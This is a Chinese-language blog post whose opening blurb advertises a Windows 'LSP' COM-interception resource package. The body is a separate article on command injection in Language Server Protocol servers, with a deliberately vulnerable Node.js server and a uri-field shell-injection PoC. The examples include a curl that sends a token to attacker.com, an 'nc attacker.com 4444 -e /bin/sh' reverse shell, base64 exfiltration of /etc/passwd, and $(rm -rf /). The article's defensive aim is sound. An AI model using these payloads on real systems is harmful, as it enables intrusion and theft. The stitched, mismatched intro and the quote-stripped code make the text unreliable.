
简介本资源是一份深入解析LSPLanguage Service Provider注入原理与实现的实战型技术资料包面向Windows底层开发、安全研究及逆向工程学习者聚焦COM组件机制下的文件操作拦截与扩展技术。资源包含38个文件以15个C源码文件cpp/h为核心辅以7个头文件、2个Visual Studio工程配置vcxproj/sln、2个批处理脚本bat用于注册/卸载LSP、2个文本说明文件txt及1个DLL和1个EXE可执行模块完整覆盖LSP组件开发、注册、注入与调试全流程压缩包仅150KB轻量紧凑。已有1578人学习下载内容结构清晰含instlsp安装模块、ifslsp接口实现、Release构建输出等典型目录提供可编译运行的完整代码工程与关键注释助读者快速理解LSP钩子机制、掌握COM接口实现要点并规避系统稳定性风险。1. LSP 注入不是“协议层漏洞”而是服务端逻辑失控的典型症状去年在复现一个某图像处理Demo的自动化标注模块时我原以为只是个简单的 JSON-RPC 调用问题结果调试三天卡在同一个返回码上{jsonrpc:2.0,id:1,error:{code:-32603,message:Internal Error}}。翻遍日志没看到堆栈只在服务进程 stderr 里抓到一行TypeError: Cannot read property length of undefined。后来才意识到——这不是客户端传参错了是 LSP 服务端把用户输入当代码执行了。LSPLanguage Server Protocol本身不带注入风险但一旦服务端用eval()、Function()、vm.runInContext()或反射式调用拼接用户传来的textDocument/definition请求中的position、uri、甚至content字段就等于亲手把沙箱钥匙交出去。这篇不讲抽象概念只拆解真实可复现的 LSP 注入链路从协议字段如何被误用为执行入口到服务端常见解析模式里的三个高危接口再到用最小化 PoC 验证是否真能绕过语言服务器的“语义隔离”假象。如果你正在开发或审计基于 LSP 的 IDE 插件、代码分析工具、或跨语言智能补全服务这篇就是你该立刻停下手头工作去验证的 checklist。2. LSP 注入的本质不是协议漏洞而是服务端对“位置信息”的信任越界LSP 协议本身是中立的通信契约它定义了textDocument/didChange、textDocument/completion、textDocument/definition等方法的请求/响应结构但绝不规定服务端如何实现这些方法的业务逻辑。注入之所以发生是因为开发者把本该用于定位代码片段的字段当成了可执行上下文的输入源。下面拆解三个最常被误用的字段及其背后的真实风险路径。2.1textDocument/uriURI 解析器里的命令执行温床LSP 要求客户端通过uri字段标识文档位置格式如file:///home/user/project/src/main.py。服务端通常用path.parse()、url.parse()或正则提取路径后拼接到fs.readFile()中。但若 URI 未做白名单校验攻击者可构造POST /lsp HTTP/1.1 Content-Type: application/vscode-jsonrpc; charsetutf-8 { jsonrpc: 2.0, method: textDocument/didOpen, params: { textDocument: { uri: file:///tmp/;curl%20http://attacker.com/steal?token$(cat%20/home/user/.vscode/token), languageId: python, version: 1, text: print(hello) } } }提示Node.js 的child_process.exec()若直接拼接uri中的路径片段且未过滤分号、$()、反引号等 shell 元字符就会触发命令注入。Python 的os.system()同理。关键不在 URI 本身而在于服务端是否用shellTrue执行了git blame、pylint --load-plugins或clang -I这类依赖 URI 路径的外部命令。我见过某实验室的 LSP 服务为支持“跳转到 Git 历史版本”把uri拼进git show HEAD~1:$(uri_path)结果uri_path里藏了个$(rm -rf /)—— 幸好沙箱限制了 root 权限否则整台机器就没了。2.2position字段看似安全的坐标实为 AST 解析的突破口position是{line: number, character: number}对象本意是告诉服务端“光标在哪”。但某些 LSP 实现为了“智能推断”会用它去索引 AST 节点。比如 Python 服务端调用ast.parse(text).body[0].lineno position.line后再用eval()执行text.split(\n)[position.line]获取当前行内容。这时攻击者只要让position.line指向恶意构造的注释行# __import__(os).system(id /tmp/pwned) def hello(): pass服务端若未剥离注释就eval()当前行__import__就会执行。更隐蔽的是 TypeScript 服务端它可能用position定位到import * as x from xxx的xxx字符串然后动态require(xxx)—— 若xxx是./node_modules/evil-pkg/index.js且该包在package.json里写了preinstall: curl http://...那注入就发生在依赖安装阶段。2.3textDocument/text编辑器实时同步带来的“隐式 eval”陷阱LSP 要求客户端在文件变更时发送完整文本textDocument/didChange服务端需据此更新内部缓存。但某些轻量级 LSP 实现为省事直接把text当字符串传给new Function(return text)()来做“快速表达式求值”。这等于把整个编辑器内容变成 JS 执行环境。哪怕只是写个console.log(11)攻击者也能改成console.log(11); require(child_process).exec(nc attacker.com 4444 -e /bin/sh);我复现过一个真实案例某跨平台系统用 LSP 提供“实时公式计算”功能服务端收到text后调用vm.runInNewContext(text, sandbox)但sandbox里漏掉了process和global的冻结导致process.mainModule.require(fs).writeFileSync(/etc/passwd, hacked)成功写入。3. 从协议字段到 RCE一条可复现的 LSP 注入链路上面讲的是风险点现在用一个最小化、可本地验证的 PoC走通从 LSP 请求到服务端任意命令执行的完整链路。目标服务是用 Node.js 编写的简易 Python LSP 服务核心逻辑在server.js中。3.1 复现环境搭建5 分钟起手一个脆弱服务先建一个空目录初始化 npmmkdir lsp-poc cd lsp-poc npm init -y npm install vscode-languageserver7.0.0 vscode-languageserver-textdocument1.0.1创建server.js关键漏洞代码已加注释const { createConnection, TextDocuments, ProposedFeatures } require(vscode-languageserver); const { TextDocument } require(vscode-languageserver-textdocument); const { exec } require(child_process); // 创建连接 const connection createConnection(ProposedFeatures.all); const documents new TextDocuments(TextDocument); // 【高危点】服务端直接拼接 uri 到 shell 命令 connection.onDefinition(async (params) { const uri params.textDocument.uri; // ❌ 错误示范未校验 uri直接用于 shell 执行 const cmd ls -la $(dirname ${uri.replace(file://, )}); return new Promise((resolve) { exec(cmd, (err, stdout) { if (err) resolve(null); else resolve({ uri, range: { start: { line: 0, character: 0 }, end: { line: 0, character: 0 } } }); }); }); }); documents.listen(connection); connection.listen();启动服务node server.js此时服务监听标准输入stdin等待 LSP 客户端连接。3.2 构造恶意请求用 curl 模拟 LSP 客户端新开终端用 curl 发送textDocument/definition请求。注意LSP 要求Content-Length头和两个换行符分隔printf Content-Length: 294\r\n\r\n{jsonrpc:2.0,id:1,method:textDocument/definition,params:{textDocument:{uri:file:///tmp/;id/tmp/lsp_rce_result},position:{line:0,character:0}}} | nc localhost 0注意nc localhost 0是占位实际需用socat或改用stdio模式更推荐用 VS Code 自带的Developer: Toggle Developer Tools查看网络请求或用lsp-test库发请求。服务端收到后执行ls -la $(dirname /tmp/;id/tmp/lsp_rce_result)shell 解析时分号终止前半句后半句id/tmp/lsp_rce_result写入当前用户 ID。检查结果cat /tmp/lsp_rce_result # 输出应为 uid1001(user) gid1001(user) groups1001(user)✅ 验证成功LSP 请求字段已突破协议边界触发服务端命令执行。3.3 关键参数说明与修改指南uri字段中的;是 shell 命令分隔符是重定向id是 Linux 命令。换成curl http://attacker.com/$(cat /etc/passwd | base64)可外泄敏感文件。position字段在此 PoC 中未使用但在其他场景如 AST 定位中可配合text字段触发eval。exec()的shell参数默认为true若设为false则需传数组[ls, -la, dirname]此时分号失效但dirname若含空格或特殊字符仍可能被截断。修复方向不是“过滤分号”而是彻底禁止exec()拼接用户输入应改用path.dirname()解析 URI再用fs.readdirSync()读取目录全程不经过 shell。4. 避坑LSP 服务端开发中五个血泪教训LSP 注入不是理论风险而是我在三个不同项目里亲手踩过的坑。以下每条都对应一次线上故障、一次紧急 hotfix、或一次被安全团队打回的 PR。现象、原因、解决方式全部来自真实日志和调试记录。4.1 现象textDocument/completion返回空列表但服务端 CPU 占用 100%原因Completion 提供者调用了eval()解析用户输入的text字段攻击者传入while(true){}导致无限循环。解决禁用eval()改用acorn.parse()解析 JavaScript AST或对text做长度限制如text.length 1024和超时控制Promise.race([parse(), timeout(500)])。4.2 现象workspace/executeCommand执行后服务端进程崩溃并生成 core dump原因executeCommand的arguments数组中某项是{cmd: git, args: [-c, core.editorsh -c /tmp/malware.sh]}服务端用spawn(cmd, args)执行-c参数被 shell 解析sh -c启动恶意脚本。解决executeCommand必须白名单制只允许预定义命令如sortImports、organizeImports禁止透传任意cmd和args若必须支持自定义命令args中每个元素需经shellEscape()处理。4.3 现象textDocument/hover响应延迟 30 秒日志显示Error: Command failed: timeout 30s pyflakes ...原因Hover 提供者为获取类型信息调用pyflakes时将textDocument/uri拼进命令pyflakes $(uri_path)。攻击者 URI 设为file:///tmp/$(sleep 30)导致每次 hover 都 sleep 30 秒。解决所有外部命令调用必须加timeout且捕获SIGTERMuri_path必须用path.resolve()标准化并校验是否在工作区根目录下path.relative(workspaceRoot, resolvedPath).startsWith(..) false。4.4 现象VS Code 报错Cannot read property map of undefined但服务端无日志原因服务端用JSON.parse(params.textDocument.text)解析编辑器发送的文本但攻击者在text开头插入/* */注释导致JSON.parse()失败返回undefined后续.map()调用崩溃。解决LSP 的textDocument/text是纯文本不是 JSON若需解析应先用正则或acorn提取代码块而非直接JSON.parse()。所有parse操作必须try/catch并返回友好的错误提示。4.5 现象textDocument/definition返回错误位置且/tmp/下多出可疑文件pwn.js原因服务端为支持“跳转到定义”用vm.runInNewContext()执行用户代码以获取变量值pwn.js是攻击者通过text字段注入的require(fs).writeFile(/tmp/pwn.js, malicious)。解决vm沙箱必须冻结global、process、require并设置timeout更安全的做法是禁用vm改用静态分析如esprima提取变量声明位置。5. 修复不是加过滤而是重构信任模型四个不可妥协的实践修复 LSP 注入不能靠“加个正则过滤分号”就像不能靠“给刀柄贴胶布”来防止割伤。真正有效的方案是重新设计服务端对每个 LSP 字段的信任等级并用防御性编程强制落地。以下四条是我从模拟项目X 的三次安全审计中提炼出的硬性规范每一条都对应过真实漏洞。5.1uri字段永远只当路径绝不当命令uri的唯一合法用途是定位文件。任何将其用于exec()、spawn()、require()、import()的行为都是架构级错误。正确做法用URL构造函数解析uri取pathname属性用path.resolve()标准化路径再用fs.statSync()验证存在且为文件最关键一步用path.relative(workspaceRoot, resolvedPath)检查是否越界若返回..开头则拒绝。function safeResolveUri(uri, workspaceRoot) { try { const url new URL(uri); const pathname decodeURIComponent(url.pathname); const resolved path.resolve(workspaceRoot, pathname); // 强制检查是否在工作区内 if (!path.relative(workspaceRoot, resolved).startsWith(..)) { return resolved; } } catch (e) {} throw new Error(Invalid or out-of-workspace URI); }注意workspaceRoot必须由客户端在初始化时显式提供服务端不可自行猜测。5.2position字段只用于索引不用于执行position.line和position.character的唯一作用是告诉服务端“在第几行第几个字符”。它不该触发任何eval()、Function()、或动态require()。正确做法所有 AST 操作必须基于textDocument/text的完整内容用acorn.parse()或tree-sitter解析而非用position去split(\n)[line]截取若需获取当前行内容先text.split(\n)得到数组再用Math.min(position.line, lines.length - 1)安全索引最后lines[line].trim()去除空白绝对禁止eval(lines[line])或new Function(lines[line])()。5.3textDocument/text字段默认视为不可信字符串解析前必脱敏编辑器发送的text可能包含任意字符包括\0、script、__proto__、constructor。正确做法若需执行代码如公式计算必须用vm.createContext()创建全新上下文并冻结globalThis、process、Buffer、require若需解析 JSON先用正则/{.*}/s提取对象字面量再JSON.parse()并捕获所有异常所有字符串操作replace()、match()必须用RegExp字面量而非new RegExp(string)避免string中的.*被解释为正则元字符。5.4workspace/executeCommand白名单制零容忍透传executeCommand是 LSP 中最危险的方法因为它本意就是执行服务端逻辑。正确做法在服务端初始化时硬编码一个命令白名单const ALLOWED_COMMANDS new Set([ editor.action.organizeImports, python.sortImports, typescript.organizeImports ]);onExecuteCommand回调中第一行必须是if (!ALLOWED_COMMANDS.has(params.command)) throw new Error(Command not allowed);params.arguments必须逐项校验类型如Array.isArray(args)、args.every(a typeof a string)且长度限制在 10 以内所有命令执行必须包裹在Promise.race([command(), timeout(5000)])中超时即终止。6. 从那以后我每次写 LSP 服务端逻辑都强制走一遍“三问检查表”第一次在某高校的 LSP 项目里被注入打穿内网后我给自己定了个铁律每次提交onDefinition、onCompletion或onExecuteCommand的代码前必须手写回答以下三个问题并把答案贴在 PR 描述里。不是为了应付审计而是因为这三个问题直指信任模型的根基——它们逼我承认LSP 协议字段不是“数据”而是“指令”而指令的执行权永远不该交给未经校验的字符串。6.1 第一问这个字段的值是否可能来自用户不可控的编辑器如果是它就必须被降级为“只读字符串”。uri不是路径是字符串position不是坐标是数字对text不是代码是字节流。我在server.js顶部加了注释// ⚠️ WARNING: All LSP params are untrusted input. // Never use params.textDocument.uri in shell commands. // Never use params.position.line to index into eval(). // Never use params.textDocument.text as executable code.每次git add前我都会扫一眼这三行。它比任何 lint 规则都管用。6.2 第二问如果我把这个字段的值替换成$(rm -rf /)、while(true){}、scriptalert(1)/script服务端会崩溃、执行、还是静默失败这是最狠的测试。我写了个fuzz-lsp.js脚本自动替换uri、position、text字段为 20 种 payload发请求看响应。只要有一条返回500或Internal Error就说明服务端没做防御性处理。去年帮某公司做代码审查他们onHover方法在text里遇到就JSON.parse()失败我只改了一行text text.replace(//g, lt;)就堵住了 XSS 链路。简单但有效。6.3 第三问这个逻辑是否能在没有 LSP 协议包装的情况下被一个普通 HTTP POST 复现LSP 不是防火墙。如果我把textDocument/definition请求体用curl -H Content-Type: application/json发给一个 Express 路由它是否还会执行如果会说明漏洞跟 LSP 无关只跟服务端逻辑有关。我坚持把所有 LSP 方法都用express写个镜像路由跑一遍 fuzz。去年发现某服务的onCompletion用child_process.exec(python -c user_input )HTTP 版本一模一样崩掉——这才确认是根本性设计缺陷不是协议误用。这三问检查表我放在 GitHub Gist 上公开了链接不放免得平台化也刻进了我的肌肉记忆。它不保证 100% 防住所有注入但它能让我在写每一行代码时都清醒地知道我不是在写“功能”而是在画一道信任边界。LSP 注入的根源从来不是协议有缺陷而是我们忘了——在分布式系统里所有输入都是敌意的除非你亲手证明它不是。希望帮到你。本文还有配套的精品资源点击获取